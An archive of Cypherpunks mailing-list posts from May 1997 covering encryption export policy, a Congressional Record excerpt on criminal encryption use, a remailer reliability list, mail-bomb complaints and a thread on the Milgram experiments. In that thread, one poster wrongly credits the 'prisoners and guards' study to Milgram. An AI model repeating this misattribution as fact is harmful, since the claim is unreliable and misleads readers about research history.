-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 19 May 1997 15:43:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <3.0.32.19970519001431.007548dc@netcom13.netcom.com>
Message-ID: <19970519002811.31774@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, May 19, 1997 at 12:14:37AM -0700, Lucky Green wrote:
> At 10:28 PM 5/18/97 -0700, Alan Olsen wrote:
> >(There are also a number
> >of 
> >psychological studies that show that people will do all sorts of horrific 
> >things to their fellow man when someone in authority tells them to.  If they 
> >are led to believe that they are "bad" in some way, many will enjoy it.)
> 
> Right. I read a book on that. I think it was called "The Millgram
> Experiment". Normal people would administer (fake, but they didn't know it)
> electroshocks to a subject even after the subject had stopped moving and
> could have been assumed to be unconscious or even dead. An excellent
> demonstration of the power of authority. And the gullibility of the average
> person.

Present company excepted?  Of course, studies have shown a majority 
of Americans think they are better than average drivers...

The most important lesson of that study is that in this regard we
*all* are average persons.  There isn't any magic pill, or personality
trait, or belief system, or special knowledge, that makes us immune to
manipulation. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 19 May 1997 13:51:19 +0800
To: cypherpunks@manifold.algebra.com
Subject: Sun Sells Encryption Software Overseas, Skirting U.S. Policy
Message-ID: <199705190536.AAA13148@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tomorrow's Wall Street Journal: 

http://interactive3.wsj.com/edition/current/articles/SB863997652645676500.htm

Sun Sells Encryption Software
           Overseas, Skirting U.S. Policy

           By DAVID BANK 
           Staff Reporter of THE WALL STREET JOURNAL

           MOUNTAIN VIEW, Calif. -- Sun
           Microsystems Inc. plans to sell advanced
           data-security software from a Russian
           supplier to overseas customers, a move that
           skirts U.S. export regulations and is likely to
           receive close U.S. government scrutiny.

           Sun is expected to announce Monday that it
           will sell encryption software licensed from
           Elvis+ Co., a company formed by scientists
           from the former Soviet space program. Sun

I actually think that Elvis+ is mostly composed of the former KGB 
scientists, not space scientists. I may be mistaken though. -- igor



           has a 10% equity stake in the Russian firm.
           The Elvis+ products will be shipped to
           overseas customers from Sun distributors in
           third countries to keep them from falling
           under U.S. jurisdiction.

           Sun's move illustrates how global market
           pressures are making it increasingly difficult
           for U.S. officials to control the spread of
           advanced encryption hardware and software.
           The technology, which scrambles data to
           protect it from computer eavesdroppers, is
           considered vital to the growth of electronic
           commerce. But export of powerful encryption
           products is barred under U.S. export-control
           laws, on grounds that terrorists and others
           will use it to evade surveillance.

           Challenge to U.S. Policy

           The Sun action will cause the Clinton
           administration to face a difficult decision, said
           Jim Bidzos, president and chief executive of
           RSA Data Security Inc., a unit of Cambridge,
           Mass.-based Security Dynamics Technologies
           Inc., a major supplier of encryption
           technology. "The government has to shut this
           down, or else the competitors of Sun probably
           have to say, 'We're going to do the same
           thing,' " he said. Mr. Bidzos, a long-time
           critic of the export controls, praised Sun's
           move as "blatant and in-your-face."

           An administration official said Sunday the
           White House didn't have enough information
           to comment.

           Computer-industry executives, concerned
           that they could lose a valuable market to
           foreign competition, have long discussed
           strategies to exploit loopholes in the export
           laws. But Sun appears to be the first major
           company to use foreign software to supply
           overseas customers. Sun executives said they
           hadn't discussed the plans with U.S.
           government officials but had strictly adhered
           to current laws.

           "This is not being done to subvert
           export-control laws but to deliver solutions to
           customers," said Humphrey Polanen, general
           manager of Sun's network-security products
           group. "Never before have organizations
           outside of the United States had access to
           such advanced security software."

           Privacy advocates said Sun's initiative would
           boost their goal of making high-strength
           encryption widely available. "We think the
           benefit for security outweighs the liability for
           law enforcement," said Jerry Berman,
           executive director of the Center for
           Democracy and Technology in Washington,
           D.C.

           Critical Distinction

           Elvis+ is based in Zelenograd, a Moscow
           suburb that was once known as the "Soviet
           Silicon Valley." The company's products are
           based on a security protocol called SKIP that
           was developed by Sun, but Sun says it
           provided no technical assistance to the
           Russian company. The distinction is crucial;
           the export controls cover any product
           developed with such assistance from a U.S.
           company.

           The product, which will be marketed under
           the name SunScreen SKIP E, employs various
           encryption algorithms, or formulas, including
           so-called three-key triple DES and 128-bit
           ciphers, which security experts consider to be
           virtually unbreakable. The algorithms, in wide
           use within the U.S., are used to scramble
           digital communications; in general, the longer
           the bit length of the encryption key, the more
           difficult the code is to break.

           Current export controls allow the export of
           cryptography keys up to 40 bits, which have
           been cracked by computer hackers in as little
           as 10 minutes. Companies with special
           approval from the Commerce Department
           have recently begun exporting 56-bit
           encryption software, but customers have been
           clamoring for much stronger keys.

           Global Competition

           The restriction on U.S. exports has opened
           market opportunities for strong encryption
           products from foreign competitors, including
           Germany's Brokat Informationssysteme
           GmbH and Siemens Nixdorf
           Informationssysteme AG, a unit of Siemens
           AG.

           "Sun's announcement is further evidence that
           current U.S. policy is forcing companies to
           look overseas to obtain strong encryption,"
           said Edward Black, president of the Computer
           and Communications Industry Association, a
           Washington D.C., trade group that is lobbying
           for relaxation of the export controls.

           Last year, RSA Data Security announced
           plans to fund an effort by Chinese
           government scientists to develop strong
           encryption technology, but the effort has
           stalled, Mr. Bidzos said. RSA now sends
           legally exportable products to its Japanese
           subsidiary, RSA Japan, for bundling with
           Japanese encryption software. "I can't just let
           this world-wide global electronic-commerce
           market take off without participating," Mr.
           Bidzos said.

           Sun's Mr. Polanen said SunScreen SKIP E+
           will work with other products based on the
           SKIP protocols. A commercial version will be
           available in August; evaluation copies are
           available for download from an Elvis+ site on
           the World Wide Web. The software will be
           priced at $99 for versions that run on
           Microsoft Corp.'s Windows 3.1 and Windows
           95 operating systems and at $149 for the
           Windows NT version.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 19 May 1997 16:14:10 +0800
To: cypherpunks@toad.com
Subject: Re: I Treat All My Enemies Equally
Message-ID: <3.0.32.19970519001748.006fa8c4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


TruthMonger wrote:

>  Blanc makes some excellent points about the average citizen being
>caught in a ping-pong crossfire in the conflict between government
>and anti-government forces. However, as I said, this is in the nature
>of conflict and the citizen's best option may be to make a daily 
>effort to resist the government oppression, no matter how small it
>may seem in any instance.
.....................................................


Appreciate all the kudos, TruthMongrel. <g>

The problem that I was talking about is that of not being able to
distinguish one's enemies from one's friends because they all act alike and
therefore being in a position of danger from either of them.   In that
case, it doesn't matter which philosophy (political, economic, etc.) one
should support; the immediate fact of the matter is physical - physical
safety from all those Cowboys & Indians trying to get rid of each other
regardless of the reasons or the purpose.

In that case they are not advancing the kind of philosophical cause which
supports superior values and which results in better circumstances.   They
are not "separating the wheat from the shaf", they are not being
descriminating about what should live and what should die, they are not
allowing innocent bystanders to make a decision about which side they're on
or what risks they are willing to take in the "war" which they may not
realize is happening.

In that case, the real end of a "terrorist" action is personal and has
little to do with a preferable way of life for humans, or grievances
against an unjust oppressor.   When two "opposed" groups are willing to
stick it you  without concern, there is no difference between them.
Because, what difference does it make?
    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Mon, 19 May 1997 16:08:20 +0800
To: cypherpunks@algebra.com
Subject: Re: Just Say "No" to Congress
Message-ID: <3.0.32.19970519010058.00685bdc@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri,  blowing smoke out his ears, wrote:

>the question is not "how do we hold the government accountable for
>our cash" but, "*when* will we"?
	[and]
>anyone who disbelieves in the authority of the US government
>yet sends them their tax money is a hypocrite.
..........................................................................


The first sentence implies that Nurilogical proposes that government should
be held accountable by its citizens, including himself ("*when* will we").

On the other hand, he obviously believes in the authority of the US
government, as he has always supported it in arguments on the list,
especially in counter arguments against TCM.

So, it appears that VZN is not *ready* to hold the government accountable,
preferring not to protest when his own money is withheld for him, but
hypocritically wondering when everyone will make this will happen.

However, he's correct:   similar to the argument I made about there being
no difference between those who kill the good along with the bad & the ugly
(that's from the title of a Clint Eastwood movie, for those who aren't
familiar with that line),  all those who argue for morality and libertarian
ideals, but still "give in" when it comes to tax time, are all losers. <g>    

But this shameless capitulation is intellectualized away with the
explanation that everyone is outnumbered by the men holding the legalized
guns, who are in turn supported by all those true believers in The American
Socialist Way of Life;  that way being: the reception of benefits without
any need to be consciously aware of, to identify, their actual source or
the actual method of their obtainment.
    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 19 May 1997 23:35:43 +0800
To: cypherpunks@algebra.com
Subject: Re: Mail bombs from "helpful" Cypherpunks
In-Reply-To: <v03007800afa4fe137428@[10.0.2.15]>
Message-ID: <v03020907afa58d9629c5@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:26 pm -0400 on 5/18/97, Tim May wrote:


> I have no way of
> removing such "mail bombs" with my Eudora/POP system until they have been
> downloaded to my machine

My version of Eudora, and, I think, the freeware version also, has a little
check box in the "Checking Mail" settings dialog which lets you leave
messages over a certain size on the server, where you can delete them
without having to download them. Since I'm on about 100 mail lists at last
count, including, of course, the SET-dev list, where such godawful
cluelessness (including, BTW, the use of multimegabyte .pdf, Microsoft Word
<including macro viruses, of course>, and ASN1 files :-)) is commonplace, I
have found this little checkbox a godsend.

I have mine set at 100k. It works for me.

Of course, Tim doesn't get to read this message, or any other, for that
matter, to do him any good this time around...

If we lived here, we'd be home now. Self reference is a dish best tasted
cold, I suppose.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 19 May 1997 16:59:00 +0800
To: cypherpunks@cyberpass.net
Subject: New rules re money transfers to foreign locations
Message-ID: <3.0.1.32.19970519014545.008a2c30@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



The NY Times reports that new rules will be announced Monday which will
require non-bank financial institutions (like check-cashing stores, Western
Union, etc.) to report transfers of $750 or greater with a foreign
destination. (The old reporting threshold was $10K.) According to the
article, the new regulation is expected to generate approximately one
million additional forms per year for FINCEN/Treasury to process, and
require 25,000 such NBFI's to register with Treasury. The regulation will
take effect in 90 days after a public comment period. It does not apply to
cash, instruments like traveler's checks, or domestic transfers; it also
does not apply to banks themselves. (All of those mediums of transport are
covered by different rules with other reporting requirements.) 

See <http://www.nytimes.com/yr/mo/day/news/national/drug-cartels.html>.
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@c2.net>
Date: Mon, 19 May 1997 17:55:13 +0800
To: cypherpunks@cyberpass.net
Subject: Crypto use to foil law enforcement?
Message-ID: <3.0.1.32.19970519023657.00834370@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


I ran across this entry in the Congressional Record which discusses several
examples where encryption was discovered in the course of a law enforcement
investigation. 

[Congressional Record: September 18, 1996 (Senate)][Page S10882-S10886]

[...]

Mr. GRASSLEY. Mr. President, I'm pleased that the Senate has passed 
the eonomic espionage bill. This is an important measure that I believe 
will save American business significant amounts of money. The theft of 
confidential information from American businesses is a serious problem, 
and this bill takes important steps in the right direction.
  I am particularly pleased that the Senate has accepted the amendment 
I offered with Senator Kyl. This amendment commissions the first-ever 
study on the criminal misuse of encryption technologies. Under the 
Grassley-Kyl amendment, court officers who prepare pre-sentencing 
reports will include information on the use of encryption to conceal 
criminal conduct, obstruct investigations, and commit crimes. The 
sentencing commission will then collect and collate this information 
and include it in its annual report to congress.
  In this way, I am hopeful that Congress and executive branch will 
have reliable data on whether the criminal misuse of encryption is 
actually a problem and, if so, what response to this problem would be 
appropriate.
  As chairman of the Oversight Subcommittee on the Judiciary Committee, 
I did an informal survey of state-level law enforcement concerning the 
criminal misuse of encryption. This informal survey, while not 
scientific, provides valuable insights into the actions of the criminal 
element in our society.
  Here are just some of the responses my subcommittee received.
  In one case involving John Lucich of the New Jersey attorney 
general's office was involved, a computer was seized pursuant to a 
warrant in a serious assault case. Examination revealed that 
approximately 20 percent of the hard drive files were encrypted. 
Investigators sought the assistance of two different Federal agencies. 
Both of these agencies were unsuccessful in decrypting the files. 
Finally, a third Federal agency was successful in decrypting the files 
after expending considerable resources. The Decrypted files did not 
contain evidence of the assault but rather contained evidence of child 
pornography. The encryption type likely used was ``DES.''
  And Officer Tim O'Neill of the Roseville, California Police 
Department reported to the subcommittee that he participated in a 
search involving a complaint against a subject who was on probation for 
solicitation/annoyance of minors. The subject had a hidden encrypted 
file on his personal computer. In the ``slack'' area at the end of the 
file the officer found names, addresses, school, grade, and phone 
numbers of 4-5 young teen girls. The encryption type used was known as 
``pincrypt.''
  Officer Mike Menz of the same department advised the subcommittee 
that he was working on a joint State/Federal major check fraud case 
where part of the potential evidence was encrypted.
  Ivan Ortman, a senior prosecutor in Seattle, Washington, encountered 
some encrypted files and password protection in a cellular phone fraud 
investigation. For a number of files the popular and inexpensive 
``PGP'' type of encryption was used. Orton indicated that no effort was 
even made to examine the files as the police could not locate any 
method for ``cracking that encryption.''
  In other words, why try since such an effort is certain to be futile. 
Surely a rational society should look long and hard at this situation.
  Agent Chuck Davis of the Colorado Bureau of Investigation reported to 
the subcommittee that he has encountered encryption as well as password 
protection problems. In one embezzlement case, a computer system has 
seized. Examination revealed that files on the hard disk were 
encrypted. The software manufacturers were contacted and the technical 
personnel who wrote the program advised that, ``they had left no `back 
door' access to the product as this would adversely impact sales. The 
hallmark of the program's appeal is that it cannot be broken, even by 
those who created it.'' Agent Davis advised that his investigation was 
``halted'' due to the time and expense of a ``brute force attack''. The 
encryption program used was entitled ``watchdog.''
  Agent Davis also advised the subcommittee that password protection 
also presents problems for other types of investigators. In cases 
involving theft of drugs from an emergency room by a doctor, bribery/
extortion by a police officer, and the suicide by an 11 year-old boy 
after telling friends that he had been molested by a family friend, 
investigators encountered password protection. The first two cases were 
successfully resolved through assistance from the manufacturer of the
software.
  The third case, however, especially illustrates the seriousness of 
decryption problems--determining the unique key or in this case, 
password from a large number of possibilities. According to Agent 
Davis, a mere 4 character password has 1.9 million possibilities due to 
the number of keyboard characters. Can you imagine how difficult it 
must be to figure a short, 4 character password. What if the password 
were 10 characters or 20 or more? It's easy to see why criminals are 
moving toward password protection for their records.

--
Greg Broiles
gbroiles@c2.net
510-986-8779 voice
510-986-8777 fax





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 19 May 1997 17:05:58 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Jim Bell goes to Jail--We should avoid raidable, physical meetings
In-Reply-To: <v0300780aafa58a56a692@[207.167.93.63]>
Message-ID: <199705190850.DAA23642@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v0300780aafa58a56a692@[207.167.93.63]>, on 05/18/97 at 11:02 PM,
   Tim May <tcmay@got.net> said:


>(I seriously suggest we stop holding _physical_ Cypherpunks meetings for
>the foreseeable future. A gathering of anarchists, crypto exporters, and
>information terrorists like ourselves is too tempting a target for a
>publicized raid, with cameras rolling, to show the threat of the Four
>Horsemen of the Infocalypse. I for one don't plan to attend any physical
>meetings for a while at least. Going armed to a Cypherpunks meeting in
>preparation for a raid is not a cool thing.)

I was thinking that we could start holding the Cypherpunks meetings
outdoors in the "hills" rather than coffee shops. Bring the pickup truck,
hunting dogs, shotguns and rifles. :)

Ofcource we might get mistaken for an "evil" militia group. :))))

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: How do you make Windows faster?  Throw it harder!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4AiyY9Co1n+aLhhAQGWWQQAuvmFjeoSSUeC4tvK1pdTbcN152Wni4GC
c2+3/31RD6OjkXRKkmzbm/k/KRhUAEXQLIXBEaomxXFbjr+xLC1QqZVbUq0uNjzs
fbygQYuNWIWxjQRfdz0EFHcHBxk1A+mgyzV26cZze1kcFk8bQuha+ZznOTKsl3Ha
tZGp43pD3kc=
=hGvJ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 19 May 1997 22:08:51 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199705191350.GAA07200@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 19 May 97 6:49:06 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             ******+*++#*     4:09  99.98%
squirrel mix@squirrel.owl.de              ++-+++-+---   2:11:39  99.87%
weasel   config@weasel.owl.de             ++-+-+-+---   2:13:33  99.86%
winsock  winsock@rigel.cyberpass.net      ---.-+.----   5:30:41  99.83%
jam      remailer@cypherpunks.ca          ******** *+*    13:32  99.63%
lucifer  lucifer@dhp.com                  +++.- ++*+++  1:14:45  99.62%
cyber    alias@alias.cyberpass.net         * *+**+****    14:21  99.49%
balls    remailer@huge.cajones.com        #####*## #++     5:06  99.06%
mix      mixmaster@remail.obscura.com     __ __ .--*-* 34:59:29  98.54%
replay   remailer@replay.com              **     **.-+  2:26:52  98.42%
reno     middleman@cyberpass.net           +-.-+-+ -+   2:17:53  95.56%
hidden   remailer@hidden.net              ##..-####*    2:30:26  93.35%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 19 May 1997 21:12:05 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell goes to Jail--We should avoid raidable, physical meeting
In-Reply-To: <v0300780aafa58a56a692@[207.167.93.63]>
Message-ID: <6g9X7D38w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:
> (Also, I suggest _physical_ Cypherpunks meetings not be held for the
> foreseeable future. I know I plan to skip them all. A gathering of "reputed
> information terrorists, who have openly discussed assassination markets, C4
> explosives, and the destabilization of democratic governments" would be too
> ripe a target for clowns like Reno, Freeh, and Kallstrom.)

The physical meetings I've been to were not worth the trip.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 19 May 1997 21:17:33 +0800
To: cypherpunks@toad.com
Subject: Re: Mail bombs from "helpful" Cypherpunks
In-Reply-To: <v03007809afa575b7ce29@[207.167.93.63]>
Message-ID: <Fu9X7D41w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:

> (I was locked out of getting my mail tonight for more than an hour, when a
> member of the Cypherpunks list _mailed_ me a several-megabyte file without
> asking first. As I explain in my message to Steve Schear, I have no way of
> removing such "mail bombs" with my Eudora/POP system until they have been
> downloaded to my machine (I don't have a shell account anymore). I suppose
> by admitting this I am opening myself to being mailbombed by Dmitri V.,
> Vladimir N, and my other Russian (or ersatz Russian) enemies.)

Idiot - why would I want to do that?

Idiot - tell your POP client not to download files > certain size.

Idiot - get your shell account back.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Mon, 19 May 1997 23:03:09 +0800
To: Alan Olsen <cypherpunks@algebra.com
Subject: Re: PGP 5.0 beta is out at PGP.com
Message-ID: <3.0.32.19970519074003.006affb0@best.com>
MIME-Version: 1.0
Content-Type: text/plain


and if they encrypted or eliminated the feature that logs all my
pgp-encrypted traffic.

At 11:39 AM 5/17/97 -0700, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>The pgp 5.0 beta is out. It is for Win95/NT 4.0 only.  PGPKeys.exe pukes its 
>guts out when run.  (At least on my machine.)
>
>It looks like they have hired a new graphics artist.  The splash page looks 
>interesting.  Nice if the rest would run...
>
>-----BEGIN PGP SIGNATURE-----
>Version: 5.0 beta
>Charset: noconv
>
>iQEUAwUBM337SeQCP3v30CeZAQHrIwf3bwkNKXwDPb5R2qLMneIIWBTfYvwAGCQ6
>8xqd0BHSsD+7ZzF4u9iVZWV9sHN/62LxAo886FfDP7PtKG+JZrZCa+KOUj2Zw3qk
>1wltug8/rylAoLHulXwFVfwWb001jMIsS5RYNqDLqyccVF2TWUbVKQEgH7EI9VJ3
>EU8gZzHF61ok+bqacmV/r7ANoIdfFRvLZHm0iGo6Xm4xHz8lw2JzDWWvnhWnEquD
>mf3XUaNRVYnI4/+kgs8fx5golMY3pPQrl6PR0XdvvLJITUhiqM3SVTDs9IL4hWAx
>V7WWGPHaJZw6nVAl5LNbLK9puGFw0FMap1a6Ld+HnmRlxlgpr8B/
>=gdHU
>-----END PGP SIGNATURE-----
>
>---
>|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
>|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
>| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
>|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
>|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 19 May 1997 23:27:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell goes to Jail!
In-Reply-To: <3.0.32.19970519001431.007548dc@netcom13.netcom.com>
Message-ID: <199705191512.IAA21302@netcom21.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green writes:

: Right. I read a book on that. I think it was called "The Millgram
: Experiment". Normal people would administer (fake, but they didn't know
: it) electroshocks to a subject even after the subject had stopped moving
: and could have been assumed to be unconscious or even dead. An excellent
: demonstration of the power of authority. And the gullibility of the
: average person. 

Stanley Millgram did quite a few experiments along such lines.  His
conclusion after persuading quite ordinary people to administer what
seemed to be fatal electric shocks to a subject, pressured only by the
orders of an authority figure saying "The experiment must continue"  and
other such phrases, was that should the United States wish to set up a
system of Nazi style death camps, personnel to staff them could be taken
from the population of any average midwestern town. 

He also did another interesting experiment called "prisoners and guards"
in which he selected people at random and dressed them up in the
appropriate uniforms.  The guards happily abused the prisoners, falling
into the appropriate roles almost automatically. 

Of course, such psychological experiments are banned today, because they
don't make it through the ethics committees.  Nonetheless they demonstrate
that there are few differences between "us" and "them," and that most
ordinary people will rise to the occasion when given a new pair of
jackboots. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 19 May 1997 23:59:14 +0800
To: cypherpunks@cyberpass.net
Subject: Legality of Millgram-type psychological experiments
In-Reply-To: <3.0.32.19970519001431.007548dc@netcom13.netcom.com>
Message-ID: <v03007800afa631f038c4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:12 AM -0800 5/19/97, Mike Duvos wrote:

>Of course, such psychological experiments are banned today, because they
                                               ^^^^^^^^^^^^
>don't make it through the ethics committees.  Nonetheless they demonstrate
>that there are few differences between "us" and "them," and that most
>ordinary people will rise to the occasion when given a new pair of
>jackboots.

I'm curious about the "such psychological experiments are banned today"
assertiokn.

Are you saying that if I were to announce such an exeriments at the next
physical Cypherpunks meeting and ask for volunteers that I would be
breaking some law?

Or are you saying instead that most university researchers are now unable
to get grant money from the NSF and CIA to do such experiments?

Or that any professor who publishes on such things may face disciplinary
action from his university?

Big differences.

Insofar as I understand the law, so long as extreme physical torture is
avoided, no laws cover such experiments. (Many religions are in fact
organized along these lines, a la the Moonies, the Krishnas, etc.)

(And extreme physical torture may also be legal, a la S & M and consenting
sex practices, depending on one's jurisdiction. In San Francisco, even the
mayor attends S & M parties.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
